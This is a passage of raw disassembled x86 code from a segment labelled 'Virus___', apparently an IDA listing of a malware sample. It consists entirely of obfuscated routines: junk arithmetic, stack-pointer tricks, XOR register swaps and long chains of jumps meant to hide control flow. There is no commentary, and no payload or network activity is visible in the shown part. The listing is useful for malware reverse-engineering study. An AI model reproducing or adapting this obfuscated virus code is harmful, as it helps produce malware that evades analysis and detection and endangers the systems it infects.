		sub	edx, 47DE3B43h
		dec	edx
		add	edx, 383C0B0Eh
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_5826C3
; ---------------------------------------------------------------------------


loc_589BC3:				; CODE XREF: Virus___:0058F130j
		add	esp, 4
		push	3BAFh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 65h
		push	ax
		push	edx
		jmp	loc_58D04F
; ---------------------------------------------------------------------------


loc_589BE1:				; CODE XREF: Virus___:005845BEj
		inc	ecx
		dec	ecx
		push	eax
		mov	eax, 40D6B66h
		jmp	loc_582EEA
; ---------------------------------------------------------------------------


loc_589BEE:				; CODE XREF: Virus___:00582CAAj
		add	esp, 4
		xor	edi, 732D6A5Dh
		pop	esi
		jmp	loc_58F09D
; ---------------------------------------------------------------------------


loc_589C00:				; CODE XREF: Virus___:0058B721j
		mov	edi, 4992F08h
		add	eax, edi
		jmp	loc_588C09
; ---------------------------------------------------------------------------


loc_589C0C:				; CODE XREF: Virus___:005871B6j
		add	ah, 0FFh
		push	bx
		mov	bl, 0D8h
		add	ah, bl
		jmp	loc_584FE0
; ---------------------------------------------------------------------------


loc_589C1A:				; CODE XREF: Virus___:0058A3D0j
		pop	ecx
		jmp	loc_584038
; ---------------------------------------------------------------------------


loc_589C20:				; CODE XREF: Virus___:0058E918j
		shl	ebp, 2
		xor	ebp, 0FCD18DE8h
		sub	edi, ebp
		pop	ebp
		sub	edi, 11903E72h
		jmp	loc_58B8BE
; ---------------------------------------------------------------------------


loc_589C37:				; CODE XREF: Virus___:00588D50j
		xor	edi, 0CC005E49h
		add	edx, edi
		pop	edi
		add	ebx, 2F54302Fh
		add	ebx, edx
		sub	ebx, 2F54302Fh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5929D1
; ---------------------------------------------------------------------------


loc_589C59:				; CODE XREF: Virus___:005869B8j
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_581086
; ---------------------------------------------------------------------------


loc_589C6C:				; CODE XREF: Virus___:0058B285j
		sub	ebx, 6E084FADh
		shr	ebx, 4
		xor	ebx, 51BB2C93h
		sub	ebx, 304D65E4h
		xor	eax, ebx
		pop	ebx
		inc	eax
		xor	eax, 24180AB1h
		mov	esi, eax
		pop	eax
		or	esi, 557A2238h
		jmp	loc_58FE21
; ---------------------------------------------------------------------------


loc_589C98:				; CODE XREF: Virus___:00591CC0j
		add	edx, ebx
		sub	edx, 3FAD169Dh
		pop	ebx
		add	ecx, edx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58544C
; ---------------------------------------------------------------------------


loc_589CB2:				; CODE XREF: Virus___:00584695j
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 61021091h
		add	ebx, 9EFDEF73h
		jmp	loc_58125F
; ---------------------------------------------------------------------------


loc_589CD4:				; CODE XREF: Virus___:00584364j
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_5936E6
; ---------------------------------------------------------------------------


loc_589CDF:				; CODE XREF: Virus___:00583309j
		or	ebx, 1915382Fh
		sub	ebx, 30C25D92h
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 7DE33363h
		jmp	loc_58742F
; ---------------------------------------------------------------------------


loc_589D00:				; CODE XREF: Virus___:005873DAj
		pop	eax
		add	dl, 38h
		neg	dl
		push	ebx
		mov	bl, 8Ah
		push	cx
		mov	ch, 35h
		or	bl, ch
		mov	cx, [esp]
		add	esp, 2
		add	bl, 0BAh
		add	dl, bl
		pop	ebx
		not	dl
		push	ecx
		jmp	loc_58A3ED
; ---------------------------------------------------------------------------


loc_589D27:				; CODE XREF: Virus___:005884AEj
		dec	al
		push	cx
		mov	cl, 0DFh
		sub	al, cl
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_58C91E
; ---------------------------------------------------------------------------


loc_589D3E:				; CODE XREF: Virus___:00582A26j
		push	ebx
		push	esi
		jmp	loc_580DFD
; ---------------------------------------------------------------------------


loc_589D45:				; CODE XREF: Virus___:00583B1Bj
		xor	ebx, [esp]
		pop	esp
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_589D52:				; CODE XREF: Virus___:005852C3j
		push	eax
		push	edi
		jmp	loc_580981
; ---------------------------------------------------------------------------


loc_589D59:				; CODE XREF: Virus___:00593982j
		mov	ebx, esp
		jmp	loc_590553
; ---------------------------------------------------------------------------


loc_589D60:				; CODE XREF: Virus___:0058F4A5j
		shr	esi, 7
		jmp	loc_587B6A
; ---------------------------------------------------------------------------


loc_589D68:				; CODE XREF: Virus___:00590DA4j
		push	eax
		jmp	loc_584B1F
; ---------------------------------------------------------------------------


loc_589D6E:				; CODE XREF: Virus___:00589501j
		inc	edx
		push	eax
		mov	eax, 9F3BA15Eh
		sub	edx, eax
		pop	eax
		add	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		jmp	loc_59372B
; ---------------------------------------------------------------------------


loc_589D86:				; CODE XREF: Virus___:005889D3j
		xor	[esp], ebx
		jmp	loc_58E201
; ---------------------------------------------------------------------------


loc_589D8E:				; CODE XREF: Virus___:0058636Ej
		add	ebx, eax
		push	ebp
		mov	ebp, 46F42DBh
		sub	ebp, 73E43D63h
		and	ebp, 18647F30h
		jmp	loc_592D37
; ---------------------------------------------------------------------------


loc_589DA7:				; CODE XREF: Virus___:005883A0j
		add	ebx, edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2E942D02h
		sub	edx, 4CA96291h
		add	edx, 0FFFFFFFFh
		xor	edx, 68FE1A03h
		jmp	loc_58BFF2
; ---------------------------------------------------------------------------


loc_589DCB:				; CODE XREF: Virus___:00585B16j
		pop	esp
		add	ebx, 4
		push	edx
		push	esi
		push	77150BDDh
		mov	esi, [esp]
		add	esp, 4
		mov	edx, esi
		pop	esi
		sub	edx, 1
		push	7ABCh
		mov	[esp], ecx
		mov	ecx, 77150BDAh
		sub	edx, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mul	cx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_583E1C
; ---------------------------------------------------------------------------


loc_589E30:				; CODE XREF: Virus___:00593E23j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_58D98D
; ---------------------------------------------------------------------------


loc_589E40:				; CODE XREF: Virus___:0058FC07j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5881DC
; ---------------------------------------------------------------------------


loc_589E4B:				; CODE XREF: Virus___:00580352j
		push	ebx
		jmp	loc_592B53
; ---------------------------------------------------------------------------


loc_589E51:				; CODE XREF: Virus___:00585862j
		add	ebx, 1
		jmp	loc_588F22
; ---------------------------------------------------------------------------


loc_589E5C:				; CODE XREF: Virus___:0058A01Fj
		sub	esp, 4
		jmp	loc_590B55
; ---------------------------------------------------------------------------


loc_589E67:				; CODE XREF: Virus___:0057FF99j
		add	ecx, esi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_58DD24
; ---------------------------------------------------------------------------


loc_589E74:				; CODE XREF: Virus___:0058C0C9j
		inc	ebx
		jmp	loc_591034
; ---------------------------------------------------------------------------


loc_589E7A:				; CODE XREF: Virus___:00588D93j
		pop	edx
		jmp	loc_582606
; ---------------------------------------------------------------------------


loc_589E80:				; CODE XREF: Virus___:00580198j
		mov	ecx, esi
		pop	esi
		add	ecx, 53630F08h
		jmp	loc_58601F
; ---------------------------------------------------------------------------


loc_589E8E:				; CODE XREF: Virus___:0058F750j
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0D4h
		push	ecx
		jmp	loc_58C1CD
; ---------------------------------------------------------------------------


loc_589E9F:				; CODE XREF: Virus___:00580EFBj
		mov	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 51732599h
		jmp	loc_58D296
; ---------------------------------------------------------------------------


loc_589EB5:				; CODE XREF: Virus___:00580C53j
		xchg	ebx, ebp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		jmp	loc_593C4E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59056F
; ---------------------------------------------------------------------------


loc_589ECB:				; CODE XREF: Virus___:0058AE4Cj
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	eax
		jmp	loc_580C6A
; ---------------------------------------------------------------------------


loc_589ED7:				; CODE XREF: Virus___:005907FEj
		mov	eax, [esp]
		add	esp, 4
		add	eax, 0DFBCFE10h
		push	eax
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5903EF
; ---------------------------------------------------------------------------


loc_589EEC:				; CODE XREF: Virus___:00589A44j
		pop	ebp
		jmp	loc_583936
; ---------------------------------------------------------------------------


loc_589EF2:				; CODE XREF: Virus___:005867F4j
		mov	[esp], edx
		mov	edx, 455D3745h
		push	esi
		mov	esi, 455D3741h
		sub	edx, esi
		pop	esi
		add	eax, edx
		jmp	loc_5941B7
; ---------------------------------------------------------------------------


loc_589F0A:				; CODE XREF: Virus___:0058C92Cj
		add	bl, ch
		jmp	loc_58A76A
; ---------------------------------------------------------------------------


loc_589F11:				; CODE XREF: Virus___:0059433Dj
		xchg	ebp, [esp]
		jmp	loc_58A745
; ---------------------------------------------------------------------------


loc_589F19:				; CODE XREF: Virus___:00586A70j
		neg	ebp
		push	480h
		mov	[esp], edx
		mov	edx, 215B3CE1h
		sub	ebp, 0CD0A03h
		add	ebp, edx
		jmp	loc_58F3D1
; ---------------------------------------------------------------------------


loc_589F35:				; CODE XREF: Virus___:005828C9j
		mov	edx, ecx
		pop	ecx
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58391B
; ---------------------------------------------------------------------------


loc_589F48:				; CODE XREF: Virus___:0058380Bj
		mov	[esp], edi
		push	esi
		mov	esi, 25B11CD8h
		push	51F7h
		mov	[esp], esi
		push	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 41602A5h
		mov	edi, 6F1767B8h
		jmp	loc_5867F9
; ---------------------------------------------------------------------------


loc_589F72:				; CODE XREF: Virus___:0058CE2Cj
		mov	edx, 4A4A661Eh
		shl	edx, 5
		jmp	loc_59154C
; ---------------------------------------------------------------------------


loc_589F7F:				; CODE XREF: Virus___:005937EEj
		push	edx
		mov	edx, 10B639CFh
		add	edx, 2A387159h
		push	esi
		push	ecx
		mov	ecx, 17C41E56h
		jmp	loc_58C7AC
; ---------------------------------------------------------------------------


loc_589F97:				; CODE XREF: Virus___:005879D7j
		mov	edx, esp
		jmp	loc_58CD95
; ---------------------------------------------------------------------------


loc_589F9E:				; CODE XREF: Virus___:00590578j
		push	esp
		jmp	loc_58A9B4
; ---------------------------------------------------------------------------


loc_589FA4:				; CODE XREF: Virus___:0058CB15j
		mov	[esp], edx
		mov	edx, 79692729h
		push	eax
		mov	eax, 44376366h
		jmp	loc_5894E0
; ---------------------------------------------------------------------------


loc_589FB7:				; CODE XREF: Virus___:0058BA64j
		push	ecx
		mov	ecx, 422D57A7h
		jmp	loc_582E68
; ---------------------------------------------------------------------------


loc_589FC2:				; CODE XREF: Virus___:0058CAB6j
		mov	esi, 42975FE3h
		sub	eax, esi
		jmp	loc_58A6F3
; ---------------------------------------------------------------------------


loc_589FCE:				; CODE XREF: Virus___:0058C97Fj
		pop	bx
		sub	dl, cl
		push	dword ptr [esp]
		jmp	loc_58D20D
; ---------------------------------------------------------------------------


loc_589FDA:				; CODE XREF: Virus___:005894EDj
		add	edx, eax
		pop	eax
		shr	edx, 3
		or	edx, 7EE4730Dh
		jmp	loc_5930DF
; ---------------------------------------------------------------------------


loc_589FEB:				; CODE XREF: Virus___:00590204j
		mov	esi, [esp]
		jmp	loc_58B850
; ---------------------------------------------------------------------------


loc_589FF3:				; CODE XREF: Virus___:00592DACj
		mov	eax, 45547671h
		sub	eax, 5D10303Eh
		push	ebp
		jmp	loc_586800
; ---------------------------------------------------------------------------


loc_58A003:				; CODE XREF: Virus___:00590CFFj
		mov	[esp], esi
		jmp	loc_593941
; ---------------------------------------------------------------------------


loc_58A00B:				; CODE XREF: Virus___:00588AC4j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ecx, 2
		jmp	loc_589E5C
; ---------------------------------------------------------------------------


loc_58A024:				; CODE XREF: Virus___:00580DBCj
		xor	ebp, 30076ABEh
		push	ebx
		mov	ebx, 7775223h
		xor	ebx, 3B8C3E1Eh
		add	ebx, 0A9499870h
		jmp	loc_58B3F5
; ---------------------------------------------------------------------------


loc_58A041:				; CODE XREF: Virus___:0059447Bj
		add	esp, 4
		push	ebp
		mov	ebp, 1A270839h
		jmp	loc_5868C1
; ---------------------------------------------------------------------------
		lodsb
		push	small 579Eh
		mov	[esp], bx
		mov	bh, 0AEh
		sub	al, 0A5h
		add	al, bh
		add	al, 0A5h
		mov	bx, [esp]
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 169B4B4Ah
		jmp	loc_590152
; ---------------------------------------------------------------------------


loc_58A075:				; CODE XREF: Virus___:00588DCDj
		mov	[esp], eax
		push	edx
		mov	dl, 72h
		neg	dl
		not	dl
		not	dl
		add	dl, 0Ch
		or	dl, 0B9h
		jmp	loc_580F1E
; ---------------------------------------------------------------------------


loc_58A08C:				; CODE XREF: Virus___:0058FFD9j
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_58AC24
; ---------------------------------------------------------------------------


loc_58A09D:				; CODE XREF: Virus___:005892F0j
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_58AD53
; ---------------------------------------------------------------------------


loc_58A0A6:				; CODE XREF: Virus___:005849A9j
		mov	esi, 183D576Bh
		jmp	loc_58D1B0
; ---------------------------------------------------------------------------


loc_58A0B0:				; CODE XREF: Virus___:00589B7Ej
		xchg	edx, [esp]
		pop	esp
		sub	bl, 14h
		add	bl, 4Bh
		sub	bl, al
		sub	bl, 4Bh
		add	bl, 14h
		push	3439h
		mov	[esp], edx
		mov	dl, 0DAh
		xor	dl, 0B5h
		inc	dl
		push	eax
		mov	al, 55h
		jmp	loc_5898BB
; ---------------------------------------------------------------------------


loc_58A0D9:				; CODE XREF: Virus___:00591C52j
		shr	ebx, 4
		xor	ebx, 31AA76Fh
		mov	edi, ebx
		jmp	loc_59374E
; ---------------------------------------------------------------------------


loc_58A0E9:				; CODE XREF: Virus___:005916A2j
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_58DCEB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		jmp	loc_58E137
; ---------------------------------------------------------------------------


loc_58A0FE:				; CODE XREF: Virus___:0058326Fj
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_58CEE7
; ---------------------------------------------------------------------------


loc_58A109:				; CODE XREF: Virus___:00590312j
		push	esp
		pop	dword ptr [esp]
		jmp	loc_587A73
; ---------------------------------------------------------------------------


loc_58A112:				; CODE XREF: Virus___:0058017Ej
		shl	cl, 5
		sub	cl, 1Ah
		mov	dh, cl
		pop	ecx
		jmp	loc_58600E
; ---------------------------------------------------------------------------


loc_58A120:				; CODE XREF: Virus___:00590648j
		add	esp, 4
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_58263C
; ---------------------------------------------------------------------------


loc_58A12E:				; CODE XREF: Virus___:0058A51Bj
		pop	esi
		or	edi, ebp
		pop	ebp
		shl	edi, 1
		add	edi, 63314077h
		jmp	loc_583669
; ---------------------------------------------------------------------------


loc_58A13F:				; CODE XREF: Virus___:0058AEC8j
		mov	ebp, 4
		jmp	loc_592812
; ---------------------------------------------------------------------------


loc_58A149:				; CODE XREF: Virus___:0058B145j
		pop	ecx
		add	esp, 4
		push	2A46h
		mov	[esp], edx
		mov	dh, 0CDh
		dec	dh
		dec	dh
		neg	dh
		xor	dh, 17h
		add	dh, 0AEh
		push	bx
		mov	bh, 1Fh
		xor	bh, 0D5h
		neg	bh
		xor	bh, 95h
		sub	dh, bh
		jmp	loc_588119
; ---------------------------------------------------------------------------


loc_58A179:				; CODE XREF: Virus___:005886ECj
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ecx
		mov	ecx, 4
		push	edx
		mov	edx, 20E23C0Ch
		xor	edx, 66791EB1h
		not	edx
		shl	edx, 3
		add	edx, 39813123h
		sub	edi, edx
		pop	edx
		push	ecx
		mov	ecx, 10B452E9h
		jmp	loc_58EE08
; ---------------------------------------------------------------------------


loc_58A1B3:				; CODE XREF: Virus___:005833FFj
		push	ebx
		mov	ebx, 4
		jmp	loc_59236E
; ---------------------------------------------------------------------------


loc_58A1BE:				; CODE XREF: Virus___:0058AC83j
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5818DA
; ---------------------------------------------------------------------------


loc_58A1C8:				; CODE XREF: Virus___:0058DCB4j
		push	edx
		jmp	loc_580F27
; ---------------------------------------------------------------------------


loc_58A1CE:				; CODE XREF: Virus___:0058A52Bj
		pop	edi
		push	10FAh
		mov	[esp], esi
		push	eax
		mov	eax, 46E50E1Bh
		shr	eax, 8
		push	ecx
		mov	ecx, 0D8DF80ABh
		sub	eax, ecx
		pop	ecx
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 2767645Fh
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_58556E
; ---------------------------------------------------------------------------


loc_58A204:				; CODE XREF: Virus___:00584C19j
		and	ebp, 35317F36h
		sub	ebp, 4B71586Dh
		add	ebp, 6C002A92h
		xor	ecx, ebp
		pop	ebp
		sub	ebx, ecx
		jmp	loc_58082D
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58A229:				; CODE XREF: Virus___:00586F37j
		pop	ecx
		push	7C60h
		mov	[esp], eax
		mov	eax, 1D1E0125h
		jmp	loc_59413B
; ---------------------------------------------------------------------------


loc_58A23C:				; CODE XREF: Virus___:00583E8Fj
		mov	eax, 536370D4h
		jmp	loc_593D31
; ---------------------------------------------------------------------------


loc_58A246:				; CODE XREF: Virus___:005905E8j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_58FCFE
; ---------------------------------------------------------------------------


loc_58A259:				; CODE XREF: Virus___:00582DE7j
		shl	dl, 8
		push	eax
		mov	al, 69h
		add	al, 1
		add	al, 0C0h
		shr	al, 1
		jmp	loc_590B87
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_586294
; ---------------------------------------------------------------------------


loc_58A273:				; CODE XREF: Virus___:00591C8Dj
		sub	esi, 0ED720863h
		push	ebx
		mov	ebx, 4B877C7Bh
		shl	ebx, 3
		add	ebx, 1C51670Eh
		add	ebx, 93A6E83h
		dec	ebx
		push	esi
		mov	esi, 0E20EB5BAh
		jmp	loc_582EA3
; ---------------------------------------------------------------------------


loc_58A29A:				; CODE XREF: Virus___:00580531j
		not	bh
		jmp	loc_582E04
; ---------------------------------------------------------------------------


loc_58A2A1:				; CODE XREF: Virus___:0058F578j
		add	eax, edx
		pop	edx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5928AD
; ---------------------------------------------------------------------------


loc_58A2B2:				; CODE XREF: Virus___:00590B5Fj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	2861h
		mov	[esp], edx
		mov	edx, esp
		push	0D6Dh
		mov	[esp], ebp
		mov	ebp, 200E5329h
		push	eax
		jmp	loc_5841AC
; ---------------------------------------------------------------------------


loc_58A2E6:				; CODE XREF: Virus___:0058F672j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58A2EB:				; CODE XREF: Virus___:0058D85Ej
		mov	esi, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		sub	esp, 4
		mov	[esp], esi
		push	edx
		jmp	loc_5852ED
; ---------------------------------------------------------------------------


loc_58A30B:				; CODE XREF: Virus___:0058A834j
		xchg	al, bl
		not	al
		xchg	al, bl
		add	bl, 0EFh
		jmp	loc_5873C4
; ---------------------------------------------------------------------------


loc_58A319:				; CODE XREF: Virus___:00593DB6j
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 4
		jmp	loc_5934C4
; ---------------------------------------------------------------------------


loc_58A32A:				; CODE XREF: Virus___:00585D3Ej
		mov	edx, eax
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		add	edx, 135135EFh
		add	edx, edi
		sub	edx, 135135EFh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_57FA99
; ---------------------------------------------------------------------------


loc_58A364:				; CODE XREF: Virus___:0057FC4Cj
		mov	esp, [esp]
		jmp	loc_58ADE5
; ---------------------------------------------------------------------------


loc_58A36C:				; CODE XREF: Virus___:00584C68j
		add	esi, 0A6EAE04Fh
		and	edx, esi
		pop	esi
		dec	edx
		inc	edx
		sub	edx, 0CAD5C547h
		mov	eax, edx
		pop	edx
		or	eax, 2E9714FDh
		push	eax
		not	dword ptr [esp]
		jmp	loc_584908
; ---------------------------------------------------------------------------


loc_58A38E:				; CODE XREF: Virus___:005928BFj
		xor	ch, 5Ah
		xor	ah, ch
		pop	ecx
		push	ecx
		jmp	loc_5930B6
; ---------------------------------------------------------------------------


loc_58A39A:				; CODE XREF: Virus___:00583120j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_585844
; ---------------------------------------------------------------------------


loc_58A3A6:				; CODE XREF: Virus___:00580EF0j
		add	esp, 4
		push	edx
		mov	edx, 5DB87F1Dh
		xor	ecx, edx
		pop	edx
		pop	ebx
		jmp	loc_593BEC
; ---------------------------------------------------------------------------


loc_58A3B8:				; CODE XREF: Virus___:0058D0CFj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_58A591
; ---------------------------------------------------------------------------


loc_58A3C6:				; CODE XREF: Virus___:0058DA8Cj
		add	esp, 4
		jmp	loc_586043
; ---------------------------------------------------------------------------


loc_58A3CE:				; CODE XREF: Virus___:005932EBj
		sub	dl, ch
		jmp	loc_589C1A
; ---------------------------------------------------------------------------


loc_58A3D5:				; CODE XREF: Virus___:005920ACj
		add	esp, 4
		add	eax, 4
		add	eax, 4
		jmp	loc_590567
; ---------------------------------------------------------------------------


loc_58A3E7:				; CODE XREF: Virus___:005925DDj
		push	eax
		jmp	loc_58AF1D
; ---------------------------------------------------------------------------


loc_58A3ED:				; CODE XREF: Virus___:00589D22j
		mov	ch, 2Fh
		push	eax
		mov	ah, 5Fh
		jmp	loc_582FC4
; ---------------------------------------------------------------------------


loc_58A3F7:				; CODE XREF: Virus___:0057F8D4j
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		push	eax
		sub	esp, 4
		jmp	loc_580265
; ---------------------------------------------------------------------------


loc_58A408:				; CODE XREF: Virus___:005848E0j
		sub	edx, 0B784AB88h
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_584E47
; ---------------------------------------------------------------------------


loc_58A419:				; CODE XREF: Virus___:005872E7j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	esi
		jmp	loc_5830BA
; ---------------------------------------------------------------------------


loc_58A426:				; CODE XREF: Virus___:005929BEj
		xor	dh, 6
		xor	cl, dh
		pop	edx
		add	al, 9
		add	al, cl
		sub	al, 9
		pop	ecx
		mov	bx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_580660
; ---------------------------------------------------------------------------


loc_58A43F:				; CODE XREF: Virus___:0058B9FAj
		pop	ecx
		sub	eax, esi
		pop	esi
		mov	ebx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5936C1
; ---------------------------------------------------------------------------


loc_58A44E:				; CODE XREF: Virus___:005923F2j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		jmp	loc_582D84
; ---------------------------------------------------------------------------


loc_58A45B:				; CODE XREF: Virus___:0058D37Dj
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58A465:				; CODE XREF: Virus___:00582F70j
		xor	eax, [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_593C7E
; ---------------------------------------------------------------------------


loc_58A490:				; CODE XREF: Virus___:005857ACj
		pop	edx
		mov	ebx, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_58BFC2
; ---------------------------------------------------------------------------


loc_58A49E:				; CODE XREF: Virus___:0059363Fj
		push	edx
		push	ebp
		push	0A5C7736h
		mov	ebp, [esp]
		add	esp, 4
		and	ebp, 38540DEAh
		shr	ebp, 2
		sub	ebp, 2150144h
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_591565
; ---------------------------------------------------------------------------


loc_58A4CA:				; CODE XREF: Virus___:00591C28j
		push	eax
		push	edi
		push	ebx
		mov	ebx, 47ED739Dh
		xchg	edi, ebx
		xchg	ecx, edi
		not	ecx
		jmp	loc_589289
; ---------------------------------------------------------------------------


loc_58A4DD:				; CODE XREF: Virus___:00590F1Bj
		xor	[esp+4], ecx
		pop	ecx
		pop	ebx
		xor	ebx, 4DE9396Fh
		jmp	loc_58BA3C
; ---------------------------------------------------------------------------


loc_58A4EE:				; CODE XREF: Virus___:0057FCACj
		push	335Bh
		mov	[esp], edi
		mov	edi, 4B534DB8h
		push	ebp
		mov	ebp, 1A4D3323h
		inc	ebp
		shr	ebp, 2
		push	esi
		mov	esi, 73E741C7h
		add	esi, 21B9352Eh
		neg	esi
		sub	esi, 34D59104h
		add	ebp, esi
		jmp	loc_58A12E
; ---------------------------------------------------------------------------


loc_58A520:				; CODE XREF: Virus___:0058075Dj
		pop	edi
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_58A1CE
; ---------------------------------------------------------------------------


loc_58A530:				; CODE XREF: Virus___:005867DBj
		mov	[esp], ebp
		push	2AECh
		push	2A0Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_58FEA4
; ---------------------------------------------------------------------------


loc_58A549:				; CODE XREF: Virus___:0058C3C7j
		add	ecx, 4
		push	eax
		mov	eax, 2
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		jmp	loc_580371
; ---------------------------------------------------------------------------


loc_58A560:				; CODE XREF: Virus___:005859F5j
		pop	esi
		push	30h
		mov	[esp], ebp
		push	ecx
		mov	ecx, 4
		mov	ebp, ecx
		pop	ecx
		add	edx, 5251102Bh
		sub	edx, ebp
		sub	edx, 5251102Bh
		pop	ebp
		jmp	loc_592B85
; ---------------------------------------------------------------------------


loc_58A586:				; CODE XREF: Virus___:00587C78j
		add	esp, 4
		jmp	loc_586405
; ---------------------------------------------------------------------------


loc_58A591:				; CODE XREF: Virus___:0058A3C1j
		pop	esp
		mov	[esp], edx
		push	ecx
		jmp	loc_58E350
; ---------------------------------------------------------------------------


loc_58A59B:				; CODE XREF: Virus___:0058B296j
		mov	ebp, 1C0F2E74h
		sub	edi, ebp
		jmp	loc_591A6A
; ---------------------------------------------------------------------------


loc_58A5A7:				; CODE XREF: Virus___:0058BDF5j
		push	621Ch
		mov	[esp], edx
		not	dword ptr [esp]
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 6C74762h
		shr	esi, 6
		not	esi
		add	esi, 28CC29E1h
		shl	esi, 6
		and	esi, 42111B2h
		add	esi, 0FBFEEF84h
		jmp	loc_58C71E
; ---------------------------------------------------------------------------


loc_58A5E2:				; CODE XREF: Virus___:005875AEj
		mov	edx, esp
		push	50AFh
		mov	[esp], esi
		push	4DC3h
		jmp	loc_58E453
; ---------------------------------------------------------------------------


loc_58A5F6:				; CODE XREF: Virus___:0058BF46j
		push	53DFh
		mov	[esp], esi
		push	52D4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	33F9h
		jmp	loc_587A29
; ---------------------------------------------------------------------------


loc_58A623:				; CODE XREF: Virus___:00584A00j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59032E
; ---------------------------------------------------------------------------


loc_58A63A:				; CODE XREF: Virus___:00588B80j
		mov	[esp], eax
		jmp	loc_582717
; ---------------------------------------------------------------------------


loc_58A642:				; CODE XREF: Virus___:00588F7Cj
		push	ebx
		jmp	loc_58A6B5
; ---------------------------------------------------------------------------


loc_58A648:				; CODE XREF: Virus___:00583D1Bj
		pop	ecx
		push	ebx
		mov	ebx, 27D86ABFh
		and	edx, ebx
		pop	ebx
		jmp	loc_57FA35
; ---------------------------------------------------------------------------


loc_58A657:				; CODE XREF: Virus___:005856B9j
		sub	ebx, 9001E0CCh
